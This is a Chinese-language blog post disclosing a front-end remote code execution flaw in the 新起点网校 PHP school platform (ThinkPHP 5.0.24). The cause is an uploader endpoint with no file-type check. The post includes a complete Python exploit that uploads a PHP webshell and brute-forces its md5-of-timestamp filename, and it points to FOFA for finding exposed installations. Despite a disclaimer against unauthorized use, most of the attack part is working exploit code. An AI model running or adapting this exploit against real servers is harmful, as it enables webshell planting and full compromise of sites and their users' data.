ma4ter

Index | Photo | About | Friends | Archives

新起点网校php程序前台rce

只作为学习用处,未授权测试属于违法行为,请勿未授权进行渗透测试,切勿用于其它用途!

宝塔一键部署 新起点网校

新起点网校php程序前台rce

官网:https://www.yunknet.cn/

程序为tp5.0.24版本的程序

直接看代码

问题出在api模块下的uploader控制器的uploadfile方法

新起点网校php程序前台rce

跟进move方法

新起点网校php程序前台rce

跟进check方法

新起点网校php程序前台rce

这里发现是没有传rule进来的 且默认值为空 

将rule变量打印出来发现是空的

新起点网校php程序前台rce

那文件合法校验也就没起到效果

get访问这个控制器提示这样就存在漏洞

新起点网校php程序前台rce

直接构造上传

新起点网校php程序前台rce

上传成功 我们看到他的文件名命名方式是浮点数的时间戳的md5

新起点网校php程序前台rce

写个烂脚本爆破一下

#!/usr/bin/python3.6
# -*- coding: utf-8 -*-
# @Author  : Ma4ter
import requests
import time
import hashlib
import threading
import queue
q=queue.Queue()
def md5(s):
    return hashlib.md5(s.encode()).hexdigest()
url = "http://10.35.35.34:85/api/uploader/uploadfile"
files={'file':('1.php',open('shell.txt','rb'))}
timer1=int(time.time())
res = requests.post(url=url, files=files, allow_redirects=False)
def attack1():
    while not q.empty():
        i = q.get()
        for tt in range(0,4):
            timenow=str(timer1-2+tt)+f'.{i}'
            urll=f"http://10.35.35.34:85/upload/file/20210413/{md5(timenow)}.php"
            r = requests.get(urll)
            if r.status_code == 200:
                print(urll)
                with open("test.txt", "w") as f:
                    f.write(urll)
            else:
                print(timenow)
for i in range(9999):
    q.put(i)
for i in range(20):
    t1 = threading.Thread(target=attack1)
    t1.start()

新起点网校php程序前台rce

新起点网校php程序前台rce

fofa:

新起点网校php程序前台rce

用的人比较少且厂商还比较小- -